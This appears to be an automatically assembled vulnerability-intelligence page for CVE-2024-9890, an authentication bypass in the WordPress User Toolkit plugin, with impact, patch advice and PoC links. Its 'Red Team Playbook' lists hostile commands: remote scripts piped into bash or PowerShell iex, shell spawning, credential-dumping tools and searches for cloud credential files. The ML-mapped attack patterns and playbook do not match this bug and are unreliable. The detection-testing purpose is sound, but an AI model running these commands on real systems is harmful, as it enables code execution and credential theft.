CVE-2024-9890
Overview
This vulnerability is an authentication bypass rooted in an improper capability check within the 'switchUser' function of the User Toolkit plugin for WordPress. The flawed access control logic fails to correctly verify user permissions before allowing user context switching. The affected component is the User Toolkit plugin, specifically versions up to and including 1.2.3, where the capability validation mechanism is insufficient.
Vulnerability Description
The User Toolkit plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.2.3. This is due to an improper capability check in the 'switchUser' function. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to log in as any existing user on the site, such as an administrator. CVE-2024-50503 may be a duplicate.
Impact
An attacker with authenticated subscriber-level access can exploit this vulnerability to assume the identity of any user on the WordPress site, including administrators. This enables unauthorized access to sensitive administrative functionalities and data, facilitating privilege escalation and potential full site compromise. The attack requires valid authentication but no user interaction beyond exploiting the flawed capability check. According to the CVSS vector (AV:N/AC:L/PR:L/UI:N), the attack is network exploitable with low complexity and no user interaction, resulting in high confidentiality, integrity, and availability impact.
Solution
To remediate this vulnerability, upgrade the User Toolkit plugin to a version later than 1.2.3 where the improper capability check in the 'switchUser' function has been corrected. The fix is incorporated in the changeset 3175190, available via the WordPress plugin repository. Detailed patch instructions and verification can be found in the Wordfence advisory and the WordPress plugin trac links provided. No additional workarounds are documented beyond applying the updated plugin version.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the User Toolkit plugin for WordPress stems from an improper capability check within the 'switchUser' function, which allows authenticated attackers with subscriber-level permissions or higher to bypass authentication mechanisms. This flaw occurs due to insufficient validation of user capabilities, enabling an attacker to impersonate any existing user on the site, including those with elevated privileges such as administrators. The lack of robust access controls in this function poses a significant risk, as it undermines the fundamental security model of WordPress, which relies on strict user role definitions and permissions.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with a legitimate account, even with minimal permissions, could leverage this flaw to gain unauthorized access to sensitive areas of the site. For instance, once logged in as an administrator, the attacker could manipulate site content, access confidential information, or alter user roles and permissions. This could lead to further exploitation, such as installing malicious plugins or redirecting users to phishing sites. The ability to impersonate high-privilege users significantly amplifies the potential damage, as it allows the attacker to operate under the guise of trusted accounts.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on WordPress for their online presence. The risk extends beyond immediate data breaches; it encompasses reputational damage, loss of customer trust, and potential legal ramifications due to data protection violations. An attacker exploiting this vulnerability could compromise sensitive user data, leading to identity theft or financial fraud. Furthermore, the operational disruptions caused by such breaches can result in significant downtime and recovery costs, ultimately affecting the organization's bottom line.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews of plugins are essential to identify and rectify vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can help filter out malicious requests and provide an additional layer of security. Furthermore, organizations should enforce the principle of least privilege, ensuring that users only have the permissions necessary for their roles. This minimizes the potential impact of an attack, as even if an account is compromised, the attacker would have limited access.
In addition to technical measures, user education plays a crucial role in mitigating risks associated with this vulnerability. Training users to recognize phishing attempts and encouraging the use of strong, unique passwords can significantly reduce the likelihood of account compromise. Organizations should also stay informed about security updates and patches for all plugins and themes used within their WordPress installations. By maintaining a proactive security posture and fostering a culture of security awareness, organizations can better protect themselves against the threats posed by vulnerabilities like the one found in the User Toolkit plugin.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PoC
|
- | 0 | 0 | - | View |
|
RandomRobbieBF/CVE-2024-9890
User Toolkit <= 1.2.3 - Authenticated (Subscriber+) Authentication Bypass
|
RandomRobbieBF | 0 | 0 | 2024-11-08 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9890 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/805f18e2-9a5a-48cf-81f4-825da4bfd8ef?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/user-toolkit/tags/1.2.3/src/UserSwitch.php#L51 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3175190/user-toolkit#file5 |